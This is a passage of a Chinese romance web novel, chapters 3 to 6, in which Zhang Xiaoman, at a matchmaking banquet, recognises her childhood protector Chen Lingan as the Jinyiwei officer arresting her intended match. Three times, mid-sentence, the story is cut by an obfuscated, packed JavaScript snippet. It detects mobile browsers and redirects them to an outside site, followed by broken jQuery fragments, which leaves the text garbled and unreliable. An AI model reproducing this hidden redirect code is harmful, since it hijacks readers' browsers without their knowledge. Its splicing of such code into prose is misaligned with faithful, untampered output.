可她只有一笔字还算将就。
说大话唬人不是张小满的做派,她还是选择坦诚以待,“小时候跟着村里的私塾先生读过几天书,马马虎虎罢了。我喜欢跑跑跳跳,一有空就踢毽子跳绳荡秋千,就没有闲下来的时候。”
说着说着,她忍不住笑起来,“刚回京城那阵,因为总坐不住,把教引嬷嬷气得够呛,拿着戒尺要打我手心,可惜她没我跑得快,追不上我。”
蒋夫人暗道要糟,不想秦夫人笑了,“你身子骨一定很好。”
张小满点头,“还不错,我结实得很,力气也比寻常女子大得多。”
秦夫人上下打量她两眼,笑容里带了些许别的意味。
蒋夫人心头一动,刘家三代单传,子嗣单薄,秦夫人自己也三天两头的病,都说越没什么越想要什么,莫非她看中了小满的康健?
因笑道:“别的不说,这孩子身体是真好,就说早春京城流行的那场风寒,我家病倒大半,府里连着一个月都是药味,她却没事,还不顾染病的风险,没日没夜伺候我好一阵子。”
“小满性子活泼,说话也有趣,回来的这半年,我笑的比过去十来年加起来都多。”蒋夫人趁热打铁,“打小就和我投缘,当年也就两岁大,人还没有椅子腿高呢,就知道给我打扇擦汗。”
“别的孩子只嘴上表表孝心,顶多吩咐下人们用心伺候,只有她,是真真正正把我放在了心里。”
小时候好,大了更好,这话几乎是明着说,流落在外的十四年,并没有让她长歪了。
秦夫人赞了声,“是个孝顺的孩子。”
小蒋氏也附和着夸奖几句,秦夫人笑着点点头,又看了眼门口,忽问道:“四姑娘怎么还没到?”
蒋夫人大吃一惊,带着疑问看向妹妹。
小蒋氏摇摇头,示意自己也不知道怎么回事。
秦夫人左右瞧瞧,慢慢解释道,“前几日,张大人约我家老爷吃酒,提到了四姑娘,我以为她今日也会来……”
蒋夫人一怔,随即大怒。
怪不得这些日子姚姨娘安分得不存在一样,原来暗地里撺掇张文直接找上刘家。又恨丈夫半点口风不透,提防她到如此地步,为了个侍妾,竟全然不顾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901242|176642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多年的夫妻情分!
然而当着外人的面,她又不得不维持张家的脸面,只得勉力一笑,用“身子不适”之类的借口搪塞过去。
秦夫人眼光闪闪,笑笑没说话。
水榭内的气氛微妙起来,只听得见风过树梢的沙沙声。
就在这时,一两声似有似无的咳嗽,随风潜入水榭。
秦夫人脸上现出一抹讶然,下意识看向窗外。
层层叠叠的竹林后,晃过玉色的袍角,小满眼尖,立时瞧见了,片刻间已猜到树后之人是谁了。
“去叫瑾书过来。”秦夫人的话还没落地,便有一个丫鬟匆匆而来,在小蒋氏耳边低语几句。
小蒋氏表情一滞,随即笑着对姐姐说:“四丫头来给你送药了,你说你,居然连常吃的丸药都忘拿了。”
蒋夫人清楚地知道,这必定是姚氏母女的伎俩!
因是亲戚家的姑娘,又有张老爷的话在,侯府门房不敢拦。现在人到了二门,来往宾客那么多,就算再生气也要忍着,总不能让外人看笑话。
她们笃定,她为了维护张家的体面,会硬生生咽下满腹的怒火。
蒋夫人深吸口气,“带她进来。”
她倒要看看,这对母女能翻出什么浪花!
少顷,张君懿由丫鬟引到了水榭。
她本就相貌出众,今日又精心打扮了,大红底儿织金缠枝宝相花锦的袄裙,端的是贵气逼人,走路钗环不晃,行礼姿势优美,叫人一看,就知道是名门闺秀。
一亮相,就把张小满衬得有些素淡了。
蒋夫人心里窝着火,对她不过略一点头而已,旁的话一句没有。
张君懿脸上是恰到好处的微笑,“母亲身体为重,虽说是小毛病,可漏一顿,药效就差了。这是父亲的意思,母亲千万不要怪女儿冒失呀。”
父亲的意思……
蒋夫人冷笑,这是点谁呢?
现在没有外人,也不必给她留面子了。
蒋夫人不紧不慢说:“我身子骨已然大好,早不吃药了,你惯常在你姨娘身边侍奉,不知道也是有的。”
张君懿咬了咬嘴唇,脸慢慢涨红。
张小满感受到了她的难堪。
同为张家姑娘,本没什么谁高谁低的区别,可在大部分人看来,养在姨娘身边,与由嫡母亲自教养的姑娘,还是不一样的。
一边又忍不住奇怪,明知道会激怒嫡母,四妹妹还是来了,她和姚姨娘是笃定刘家会相中她?
这边蒋夫人又笑了声,“今儿太阳那么大,难为你白跑一趟,等下回家要好好歇一阵子,省得再把你累病了。”
说话间已看向秦夫人,语气颇为感慨,“我们家这个四丫头,什么都好,就是娇弱了些,冷不得热不得风吹不得,等闲就没胃口吃不下饭,费了多少心力才养这么大,是最让父母惦念的一个。”
这话听着别扭,张君懿又说不上来哪里不对,如今京城女子时兴纤细娇媚,最好有一种弱不禁风、病体瘦怜之感。
她天生体态丰腴,饭也不敢多吃,好容易才饿出来飘动如烟的细腰。加之姨娘给她的妩媚相貌,张家优渥生活养出来的闲适优雅,以往走到哪里,都能轻而易举夺得所有人的目光。
她自信,这是文人雅士们最为喜爱的模样。
姨娘也说张小满和她没法比,只要刘家有和张家结亲的打算,必定会选她。
可为什么,秦夫人的视线只在她身上打了个转儿就移开了,表情淡淡的,看不出喜恶。
结果和预想的不一样,张君懿心里发慌,不由自主看向在场唯一待她友善的人。
张小满没有回应张君懿的求助。
我们扯平了……
原来是这个意思啊。
真是心安理得的一句话,她把他们看作亲人,他们却从骨子里瞧不起她,哪怕捧出一颗真心,他们还是看得烂石头一样。
曾经无比渴求的“亲情”,无数次幻想的、憧憬的“家人”,虚幻如水中的月亮,明明就在眼前,却怎么也碰不到。
没意思到了极点。
她看向窗外,阳光从扶疏的树影间筛落,地上点点碎金随风摇曳,又是一年小满时节了。
陈令安有没有回宣府,有没有打听她的下落呢?
一声幽幽叹息,夹杂着失落和期盼,传到某些人耳中,就多了些许别的意味。
秦夫人不由多打量了她两眼,就这一停顿的功夫,窗外响起急促的脚步声,有人慌乱地说着什么,随着沙沙的树丛摩擦声,外面复归于平静。
水榭里的几人不知发生了何事,茫茫然的。
门帘霍地被撞开,一个总角小厮连滚带爬进来,浑身抖如筛糠,“不、不好了……锦衣卫、锦衣卫来……要拿表少爷!”
4. 第 4 章
水榭有一瞬死样的沉寂。
“我的儿!”秦夫人蓦地叫了声,不顾一切往外跑。
小蒋氏怕她受不住,忙唤人跟上,随即问那小厮可知锦衣卫拿人的理由。小厮早就吓傻了,结结巴巴说不出个所以然来,气得小蒋氏差点一巴掌扇过去,只能吩咐心腹管事赶紧去前院探听消息。
又急急喝令下人不得通禀侯夫人和太夫人,“若扰了两位老人家的清净,你们也不用在这里当差了。”
一面又担心引起恐慌,今日恰逢四时宴,侯府往来宾客甚多,事情未定之前,最怕话传话,万一有什么不好的话流出去,对侯府可是大大的不利。
必须稳定住局面才行。
焦头烂额之余,还不忘叮嘱姐姐带孩子先从后门走,以免卷入其中。
这个时候蒋夫人怎肯置身事外,匆匆交代两个孩子“你们在这里等着,千万不要乱走”,便追着妹妹去了。
水榭离只剩小满姐妹二人,谁也没有说话。
窗外的树林不安地晃动着枝桠,明明暗暗的影子落在张君懿身上,急促地摇来摇去。
“你在生我的气?”她突然发问。
张小满呵了声,“难道我连生气的资格都没有?”
张君懿避开她的视线,“你自己说的,你和刘公子成不了。”
“可你当时为什么不说,三姐姐我喜欢刘瑾书,这次相亲换我去吧。”张小满自嘲似地笑笑,“话,当时我都和你说清楚了……抢来的更香?”
张君懿没言语。
“在你的眼里,我的婚姻大事,一支点翠蝴蝶钗就可以打发了。说白了,你对我还是信不过、瞧不上。”张小满叹口气,“四妹妹,我不想要,和被算计要不了,是不一样的。”
张君懿霍地抬头,张口想说什么又忍住了,起身出去。
张小满隔窗望去,但见她招手叫过个婆子,那婆子从她手中接过什么东西,点头哈腰走了。大约两刻钟后,那婆子回来,耳语几句,张君懿往这边看了一眼,随后折返过来。
一开始她低着头,走得很慢很慢,后来像是下定某种决心似地抬起头,越走越快,越走越快,几乎小跑着扎进水榭。
她努力平息着气喘,“你的邻家哥哥叫陈令安,巧了,今日来拿刘公子的锦衣卫头领,也是二十上下的年纪,也叫陈令安。”
张小满脑子嗡的一响,失声叫道:“真的?”
张君懿说:“事关锦衣卫,我怎敢作假?”
她看似泰然镇定,可眼神闪烁躲避,嗓音发颤,攥着团扇的手指尖发白,无一不显示了她的紧张,甚至从中还能看到了丝丝的兴奋。
给人一种孤注一掷的感觉。
明知道她在给自己挖坑,张小满还是抬腿就走。
“等等!”见她如此坚决,张君懿反而生出一丝犹豫,“你刚来不知道,锦衣卫的风评很不好,绝大部分朝臣都厌恶锦衣卫,尤其是文官,最忌惮和他们扯上干系。你贸然前去,无论他是不是你要找的人,父亲都会勃然大怒,更不要提和刘家的亲事了……别怨我没提醒你。”
张小满当然知道这一去的后果。
可那又怎样?想了九年,等了九年,杳无音信的九年,久到记忆中的模样都快变模糊了。
哪怕有一丝的希望,她都不想错过。
“所有后果我都愿意承担,况且,这不正是你期望的吗?”张小满回头笑了下,转身投入那片金灿灿的阳光中。
裙摆飞扬,环佩急摇,她像一只轻巧的燕子飞快掠过。
锦衣卫拿人的消息已从前院漫延到四时宴,赴宴的贵妇贵女们莫不惊慌,有害怕株连匆忙离去的,有站干岸看热闹的,当然也有与秦刘两家交好,留下来抚慰帮忙的。
到处乱哄哄的,反而无人注意张小满的举动。
她认路的本事极强,之前来侯府认亲时,嫡母只是给她提了一嘴外书房的方向,她就寻了个大差不离。
一跨过二门,惊慌失措的侯府逐渐变得安静,连道旁的花枝都一动不动。
张小满不由自主放慢了脚步。
侯府的奴仆们不知是吓得跑掉了,还是被驱散了,搭眼望去,四下鲜少有人影,偶有管事装束的人经过,也是形色慌乱匆忙,看到张小满竟问也不问一句。
妇人的惊呼蓦地响起,却是戛然而止,更添几分悚然。
听着像是秦夫人的声音,张小满的心揪得紧紧的,循着声音来到外书房。
绕过照壁,游廊尽头是一处敞厅,外厢的红漆柱子间用雕花格栅门隔了,她不敢冒然进门,只躲在树丛后张望。
挂在门口的湘竹帘子掉了半幅,内厅可见秦夫人抱着一位玉色衣袍的男子,气宇轩昂,容貌雅俊,应是刘瑾书。
侯府的侍卫和锦衣卫相峙而立,手按腰刀,死死盯着对方。
整个敞厅静得可怕,所有人都一动不动站着,只一人坐着。
他侧身坐在背阴处,整个人罩在晦暗不明的阴影中,小满看不清他的面容。
和紧绷到极点的其他人不同,他看上去很是随意,身子斜靠椅中,低头看着什么,身子有点瘦弱,不似其他锦衣卫那般高大健硕。
然给人的压迫感最强。
说不清为什么,眼睛就是无法离开他。
一个男声打破了敞厅的死寂。
“陈大人,这些都是我和老师来往的书信,全是请教功课探讨学问,不知触犯了哪条律法?”刘瑾书开口道,话音虽温良,但语气冷然,带着某种居高临下的鄙夷。
椅中的男子笑了声,“满嘴仁义道德,一肚子男盗女娼,刘翰林,你明明不是睁眼瞎,怎么净说瞎话?”
他说起话来斯斯文文,说的话却像刀子一样,扎得刘瑾书脸色一红,腮边肌肉微微隆起,显然抑制不住心里的怒气了。
刘瑾书的语气也凌厉起来,“没有圣旨,没有口谕,没有任何抓捕文书,不明不白就要把人抓走,这是什么道理?”
秦夫人护子心切,指着那人不管不顾放狠话,“今日你要不说出个所以然来,我就去告御状!”
那人嗤笑一声,带着点漫不经心的不羁,“口气不小,你丈夫都不敢说想见就一定能见到皇上,你又算哪个台面上的人?”
他挥了挥手,“来呀,带秦夫人进宫,看奉天殿能不能装下她的脸。”
秦夫人脸上的血色霎时褪得一干二净,连连后退,“我不去,出了侯府的门,谁知道你们会把我带到哪里!”
有个人高马大的校尉大踏步上前道:“从没人敢与锦衣卫打擂台,还威胁告御状,真是好笑!若是个个如夫人一般,拿我们锦衣卫不当回事,那皇上设立锦衣卫又有何用?”
刘瑾书急忙护在母亲身前,“拿不着我的错处,就用我母亲来要挟我,陈大人也忒卑鄙下作了!”
又厉声呵斥一旁的侍卫奴仆,“都是死人吗?还不扶姑太太回去休息!”
有上司命令在先,那校尉岂能轻易放秦夫人走,作势去抓秦夫人的胳膊。
侯府的侍卫们急急阻拦,不知哪个愣头青惊慌失措抽出了刀,刺耳的利刃摩擦声立时激断锦衣卫紧绷的那根弦。
但听此起彼伏一片“铮铮”刀出鞘之声,整个敞厅森气凛然,连躲在树后的小满都不由自主屏住了呼吸。
“住手,住手!”走廊那头,一个绯衣玉带的中年男子极力挥手喝止,七八个青袍绿袍的官儿紧随其
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901243|176642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后。
小满认出那人是平阳侯世子秦伯彦,之前嫡母带她来侯府做客时见过一面。
还有一人远远跟在他们后面,也是绯色官袍,双颊清癯,留着五绺美髯,步伐缓慢稳重,不知是什么来历。
小满重新把目光投向敞厅。
这些人一来,敞厅的气氛便发生了微妙的变化,刘瑾书紧绷的面孔稍稍松弛了,秦夫人的眼泪流得更凶,腰杆子却是挺得直了些。
粗着嗓子嚷嚷的校尉此刻安静下来,手抚腰刀,钉子似地站在上司身后。
秦伯彦是名武将,性情刚烈,平时最恨没有寸功,只会狗仗人势的锦衣卫,本就憋着一肚子恶气,如今居然欺负到自家头上了,暴脾气当场爆发。
“陈令安,看清楚这是什么地方!”他粗着嗓子喝道。
“我祖父追随太/祖爷打天下,乃是开国功臣,配享太庙!我父亲镇守西南,战功赫赫,太/祖爷御笔亲书‘忠勇义烈’赐予平阳侯府,曾言秦家永世恩宠。你算个什么东西,敢来平阳侯府撒野!”
一直坐在椅中,低头翻看什么的男子终于抬起头。
“平阳侯府的恃功矜宠,今日陈某算是领教了。”
语气竟夹杂着隐隐的兴奋。
秦伯彦冷笑,“少威胁我,旁人怕你,我可不怕。我在当今阵前效力的时候,你还不知道在哪儿玩泥巴呢!”
或许是他强硬的态度给了人信心,那些依附侯府和刘家的人登时气焰大盛,纷纷抢步上前,七嘴八舌没一句好话:
“阴险卑鄙奸佞小人,构陷忠良,献媚人主,荼毒生民,你有何脸面偷活于世?”
“于国无寸功,于民无寸利,再容你们放肆下去,势必会后患无穷!”
“奸贼!奸贼!我等要联名上书弹劾你,哪怕血溅午门,也要把你这个恣行威虐、祸乱朝纲的奸贼绳之以法!”
……
听得树后面的张小满直皱眉头。
这个人,真的像他们说的那么坏吗?
就在这时,那人站起身。
那群人高亢的谩骂奇妙地变低了,唯有秦伯彦的粗嗓子在敞厅中震荡。
一个人影从阴影处缓缓走出来。
阳光金灿灿的,照在他的大红曳撒上,跃动着,闪烁着,像一团愤怒的火。
张小满瞪大眼睛。
浓烈昳丽的五官,干净利索的面部线条,眉弓深邃,鼻梁英挺,这让他的眼睛半藏在阴影中,显得有些沉郁森然。
气质大不相同,但相貌与记忆中的有六七分相似。
心脏不受控制地急跳,张小满不由屏住呼吸,慢慢从树后走出来。
近了,更近了,她可以清晰地看到,那人左额角上,有一个浅浅的黄豆大小的伤疤。
张小满但觉头“嗡”地一响,一股难以抑制的酸涩冲上鼻尖,呛得她眼泪都流下来了。
是他,是陈令安!
只觉轰的一声,所有的声音瞬间远去,所有的人影瞬间模糊,眼中只剩他一人。
脚下越来越快,越来越快,朝思暮想的人就在眼前,什么也阻止不了她了!
惊呼声如波浪般在一片死水的敞厅泛起,随即陷入沉寂。
所有人都瞠目结舌看着那个死死抱着陈令安的姑娘,就连陈令安本人都愣在了原地。
锦衣卫望着他那只僵在半空迟迟没落下的手,你看看我,我看看你,不知道还要不要继续抓人。
张小满仰起脸,张口想唤他,可喉头也被泪水堵住了,一时竟发不出声音。
她接连吞下好几口空气,好容易才找回自己的声音,却是转身朝人们大喊:
“令安哥才不是大奸贼!”
5. 第 5 章
清脆响亮的声音在敞厅里回荡着,震得痛骂陈令安的人们张大了嘴,目光一齐望向声音来处,要瞧瞧这个公然维护万恶奸贼的小姑娘,究竟是何方人物。
不过十六七岁的年纪,俏丽的脸蛋上满是怒气,还带着几分娇憨倔强。
别人尚在思量这是哪家的姑娘,秦夫人已是勃然大怒。
好个张小满,倒叫陈令安那奸贼为“哥哥”!
刚要斥责,却被儿子暗暗阻止。
刘瑾书没有母亲那般愤怒,他的目光在陈令安和张小满之间扫来扫去,不知在想些什么。
陈令安也在打量面前的小姑娘,惊诧、猜疑、戒备……种种情绪从他眼中浮现,旋即消失,眸子又是暗沉沉一片,看不出一丝波动。
迎着众人的目光,张小满脸颊通红,整个人又激动,又气愤,又止不住替陈令安委屈,“你们说的不对,他是好人,是天底下顶顶好的大好人!”
“你们冤枉人,只会仗着人多欺负他。”
说到最后,声音都带了哭腔。
欺负陈令安?这回不止是侯府的人,就连那几个锦衣卫的脸色也逐渐变得古怪,好似听到了天大的笑话,想笑又不敢笑的样子。
“小满!”
一阵慌乱的脚步声引得众人望向门口,蒋夫人喘吁吁赶到,后面跟着同样喘息不止的张君懿。
“母亲!”张小满眼睛一亮,指着陈令安道,“他是救我的邻家哥哥,当初要不是他,我早不知道卖哪儿了。在宣府那段日子,我可没少受人家照顾。”
蒋夫人吓得心脏都要爆了,这个傻孩子也不想想,且不论张家还能不能容他,这个恶煞岂是她能招惹的?到头来怎么死的都不知道!
担忧战胜了恐惧,她一把推开扶着她的张君懿,急急抓住张小满的手腕,“你认错人了,快跟母亲回去。”
张小满忙道:“不会错的,他眉眼没怎么变,我记挂他九年了,天天在心里描画他的模样,就是化成灰我也认得!”
这话听着怎么那么别扭?大块头校尉嘴角抽抽两下,眼光不禁瞄向上峰。
陈令安眼波微动,依旧没有出声。
沉默也意味着承认!
众人看张小满的眼神越发意味深长。
张君懿也没料到他俩居然真是旧相识,一时懵了,然偷偷觑了眼刘瑾书,心又冷硬起来。
反正事情到了这个地步,她自己也不可能全身而退,索性再添一把柴。
她鼓起勇气上前道:“三姐姐,你昏头了,你是来和刘家表哥相亲的,怎能帮着抓他的人说话?”
此话一出,厅内的气氛愈加古怪,别说脸色愈加难看的蒋秦二位夫人,便是刘瑾书也尴尬起来。
张小满没理她的话茬,只看着陈令安,眼睛闪闪发亮,“令安哥,我是小满啊,没想到我来了京城吧,我找到我亲爹娘了!你呢,这九年你都去哪儿了,总也不回来,连个信儿都没有。”
她叽叽喳喳地说着,陈令安默默地听着,待她声音落了,方缓缓道:“你来,是给刘瑾书求情的?”
张小满一怔,万没想到他第一句话竟是问这个。
当然是为他而来!
可实话实说,刘家的面子算是彻底被她撕碎了,父亲一准大发雷霆。
应该说因为担心刘公子安危才偷跑过来,结果意外认出儿时的竹马哥哥。
这样就是对陈令安撒谎了。
她不喜欢。
更不喜欢他审犯人一样的语气。
张小满忍不住再次打量这个让她挂念九年的人。
他的脸比从前多了些棱角,眼神透着陌生,带着审视,甚至有些冷,没有丁点故人相逢的喜悦。
如果是九年前的陈令安,只会大笑着揉乱她的头发,在她的抱怨声中,问她过得好不好,有没有受欺负。
现在……
初夏的风把树荫摇得簌簌作响,屋檐下的铁马发出悠长清脆的撞击声,光与影在窗纱上纠缠不休。
沸腾的热情慢慢冷却,张小满突然觉得很委屈,“你也要抓我进诏狱吗?”
眼泪已经在她的眼眶里打转了。
陈令安沉默少顷,然后微微弯下腰,“还和小时候一样不经逗。”
说着,拿出一方帕子递过来,“都到相亲的年纪了……”
声音低沉温和,带着几分感慨,较之方才多了些许暖人的温度。
陈令安竟然会这样说话!人们惊奇地睁大了眼睛,看张小满的眼神闪烁不定。
“你想起我来啦!”张小满肉眼可见的开心起来,接过帕子,又看了看嫡母,面上露出为难。
一般来说,这时候她应该把陈令安介绍给嫡母,再由嫡母出来说几句场面话,可看嫡母一副忌惮非常的模样,显见是她在痴心妄想。
果然,蒋夫人狠狠瞪了她一眼,再看陈令安时,那眼神活像看拐跑自家闺女的人贩子!
陈令安不以为意,忽扬声道:“刘大人,既然来了,何故躲在后面偷看?”
人们这才发现站在堂前树荫下的刘方。
双方已是剑拔弩张要打起来了,刘方却那样的旭然。
他慢慢踱进敞厅,先安抚似地看了看夫人儿子,然后向陈令安一笑,毫无敌意,“陈大人做事还是这样刚毅果断。”
陈令安微一欠身,并不接言,等着他下面的话。
“都坐,都坐,怎么茶也没有?”
刘方从袖中拿出一个明黄色的小纸包,脸上还是那种笑。
“皇上刚赏赐的新茶,叫做冻顶乌龙,鸡笼山那边进的,统共只有两斤,我得了一两,陈阁老得了三两。来人,泡茶,请陈大人一同品鉴。”
听到“陈阁老”三字时,陈令安眉头动了下。
下人战战兢兢奉茶,刘方做了个“请”的手势,浅酌一口,连赞三声,才不紧不慢问起儿子的事。
陈令安道:“令公子潇洒倜傥,桃花遍地开,本是无伤大雅的小事,但是牵扯上犯官家眷,就不是一句‘风流韵事’能糊弄过去的了。”
刘方立刻严肃了面容,“若犬子真触犯律法,不消陈大人动手,老朽亲自把他送到诏狱去!”
陈令安把一封书信扔到桌上,“茶就不喝了,今后还请令公子好自为之。”
刘方笑容更大了,收好书信,“改日请陈大人吃酒。”
这番对话听得众人如堕五里雾中,一个个面面相觑,不知他二位葫芦里卖的什么药。
刘瑾书脑子转得快,已然猜到陈令安此行的目标,不是他,是陈阁老。
前些日子陈阁老收了一房小妾,那小妾原是罚没入官的罪臣女眷,因与他有几面之缘,私下央求他寻个出路。恰逢陈阁老的爱妾没了,他便从中牵线,既助那女子脱离火坑,又解了陈阁老寂寥之忧。
可按太/祖爷定下的规矩,罪臣女眷只能赏给功臣,不可给文官。想必陈令安就是抓住了这点,才突然发难。
此事说大不大,朝中有数起的先例,这条规矩也早名存实亡。
陈令安抓他,无非是想屈打成招,罗织罪名好把陈阁老拉下马。
父亲定然提前得到消息,做了准备,方才那话是告诉陈令安,此事已在御前过了明路,追究无用。
陈令安再猖狂,也不敢违背圣意。
刘瑾书微微透口气。
一旁的青袍绿袍们也肉眼可见的放松下来。
不妨陈令安冲那些人一抬下巴,“请这几位去北镇抚司喝茶。”
“陈大人!”刘方朗声道,“一时激愤,言辞多有冒犯也是在所难免的事,都是同僚,陈大人得饶人处且饶人,别与他们计较了吧。”
陈令安:“不计较,那还是我陈令安么?”
刘方拦住暴跳如雷的小舅子,脸上笑意依旧,“既然你执意如此,就莫怪本官上奏皇上了。”
“请便。”陈令安一挥手,但听噼里啪啦一阵响,锦衣卫兴高采烈押走了那些随秦伯彦而来的官儿。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901244|176642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“哎……”张小满欲言又止。
陈令安停住脚步。
“这就走啦,”张小满小声嘀咕,“知道我住哪里吗?”
“知道。”陈令安笑笑,“张家刚找回来的三姑娘,之前有所耳闻,没想到那人就是你。我现下有事,等忙完了再找你叙旧。”
他笑容很淡,若是放在寻常人脸上甚至不能称之为笑,可他平日里总是冷着脸,要么就是没有任何表情,因而这一笑,便有点“惊天动地”的味道了。
张小满重重点头,兀自望着陈令安远去的背影,丝毫没注意其他人异样的目光。
蒋夫人无声叹了一息。
日影西斜,四时宴尽,蒋夫人带着两个孩子疲惫地回到张府。
张文早在小花厅等着了,一旁侍立的是姚姨娘,低眉顺眼的,蒋夫人进门时,她身子还颤抖了下。
蒋夫人见她这样就气不打一处来,“作这幅轻贱样儿给谁看呢?自己不检点,好孩子也让你教坏了!”
姚姨娘泫然欲泣,“千错万错都是贱妾的错,太太怎么责罚我都成,只求太太别迁怒四姑娘,更不要和老爷置气。”
蒋夫人冷笑,“废话,不是你撺掇能有今天这事?少在我面前耍心眼,三言两语就想挑拨离间,谁听你的谁才是傻子。”
正准备为爱妾撑腰的张文:呃……
蒋夫人阴着脸坐在北墙八仙桌左侧,把今日变故简短说了一遍。
张文只听到些锦衣卫抓人的风声,压根不知道自家竟牵涉其中,惊怔之下心里乱成一团,怎么也理不出个头绪来,只瞠目盯着张小满问:“你怎么和他认识的?”
没什么好隐瞒的,张小满坦然讲了两人的过往。
屋里静寂片刻,张文脸上掠过一抹极其复杂的神色,忽一拍桌子,“这么大的事,你怎么不早说?”
张小满也委屈着,“我是想说来着,可你不耐烦听,再说我也不知道他就是他啊!”
蒋夫人忙从中劝道:“事发突然,过不了两天就会传遍京城,老爷赶紧想想如何应对吧。”
张文扶额长叹,“我有什么法子,儿女债儿女债,真是活活要我的命……”
蒋夫人冷冷瞥了张君懿一眼,“我还奇怪一件事,好端端的,小满怎么知道来人就是陈令安?”
张君懿惊出一身冷汗,忙道:“三姐姐先前托我找的人就叫陈令安,看她急得了不得,我才……我劝三姐姐不要去,会给咱家惹祸的,可她就是不听,我也是没法子。”
姚姨娘心思急转,想的是先把自己闺女摘出来,“小满你太冒失了,太任性了,怎能和那人相认?这下可好,不止得罪了刘家和侯府,只怕满朝的官员,都要把咱家视为眼中钉。”
她正说中了张文的担忧,霎时火气直冲脑门,“君懿把利害给你说得清清楚楚,你还去找他!一回京就让我张家沦为全城的笑柄,如今更是害得全家鸡犬不宁,当初我就不该认你。”
这话说得忒重,张小满纵想分辩一二,也知道父亲此刻根本听不进去。
索性沉默以对。
张文更气,叫人把她送到乡下庄子上去,“不许她出门,不许私下联系,以后就当张家没这个女儿。”
蒋夫人立马拦住,“分明是四丫头心怀叵测,只顾争抢男人,不把你这个父亲的仕途放心上,你却全怪小满。问也不问清楚,就急着撇清关系表立场,好歹也是二品大员,有点魄力行不行!”
“你懂什么!”张文喝道,“不管前因如何,就凭她这般亲近那奸贼,不惩戒她,我如何在朝中立足?”
张小满猛然抬头,直直跪下了,“女儿不愿让老爷为难,也不愿一辈子关着不见天日。父女缘浅,请老爷将我从张家除名,此后生死荣辱,皆与张家无关。”
蒋夫人大惊,“别说气话,离了张家你去哪儿。”
“去找陈令安,”张小满眼中划过一丝不易察觉的狡黠,“他说了,遇到任何难事,都可以去北镇抚司找他。”
6. 第 6 章
月色澄净,北镇抚司的签房被月光笼着,就像浸在一汪洁净透明的湖水中。
房间不大,墙边书架满满当当全是各类书籍案宗,一张长条书桌,桌子两侧堆着案卷,有的已经拆开,有的封口上还贴着盖有北镇抚司印信的封条。
“她真这样说?”陈令安从一堆案卷中抬起头,眼中露出惊讶。
“可不是!”说话的是随他去平阳侯府抓人的校尉吴勇,“小姑娘胆子还真大,竟敢拿大人做挡箭牌,把咱们的眼线都惊着了。”
陈令安又问:“张文作何反应?”
吴勇不由笑出声,“被小姑娘顶得一个字都说不出来,既不敢得罪刘家和陈阁老,又怕大人替小姑娘撑腰。那是左右为难,罚也不对,不罚也不对,憋得一张老脸都紫了。”
“又有蒋氏在旁一个劲护着,到底也没送庄子上去,最后不准吃饭、罚跪祠堂。眼线过去打探的时候,想着这姑娘肯定得哭一泡,嘿,你猜怎么着,这姑娘没哭也没跪,人家把蒲团攒到一块躺上头,睡得那个香啊!”
吴勇挤眉弄眼靠近,“我说大人呐,什么时候多了个小青梅,还长得挺漂亮。对你不错啊,连刘瑾书都扔到一边不管。”
陈令安用笔杆抵住他的额头,慢慢推远,“正常情况下,在我和刘瑾书之间,女孩子会选择谁?”
“当然是刘瑾书。”吴勇脱口而出,“家世好、相貌好、性情好,还是正儿八经的探花郎,但凡不是瞎……”
他一激灵,讪讪住了口。
陈令安接过话头,“但凡不是瞎子,都会选刘瑾书,她却毫不犹豫站在我这边。张家突然冒出个土里土气的漂亮乡下妞,突然地出现在抓捕现场,你不觉得太巧了吗?”
土里土气的漂亮,吴勇咂摸咂摸,似乎还真有点贴切。
“救命之恩,以身相许。”他笑嘻嘻调侃,“或许人家就好大人这一口呢,俗话说得好,男人不坏,女人不爱……”
待看到上峰暗含警告的眼神,吴勇立马一改戏谑的口吻,“大人怀疑这是他们做的局?我这就派两个兄弟去宣府查张小满的背景。”
陈令安默然少顷,“宣府没什么可查的,留意她在京城的行踪就足够了。”
吴勇挠挠头,想不明白也应了,又开始发牢骚:“白白浪费个好机会,刘方和陈阁老的动作也太快了,他们怎么知道咱们今天的行动?”
陈令安眸光微凉,“我不过是从三品指挥同知,头上还有指挥使压着,而这次的对头一个是即将入阁的户部尚书,一个是几乎把首辅架空的次辅,难免有人心思活泛,想两面讨好。”
“等我揪出这人,非把他大卸八块!”吴勇气哄哄骂了句,“就捉了几个小鱼小虾,弟兄们这几个月的辛苦全白费了,咱北镇抚司从没这么窝囊过。”
夜风袭窗而过,烛火晃动,忽明忽暗的光线下,很难看清陈令安脸上的表情。
他没有说话,吴勇却没由来一阵怯意,嘿嘿笑着给自己描补,“君子报仇十年不晚,早晚叫那群老匹夫好看!”
一边端起书案上的茶杯,“茶都凉了,也不知道给大人换一杯,当差的人越来越不用心了……”
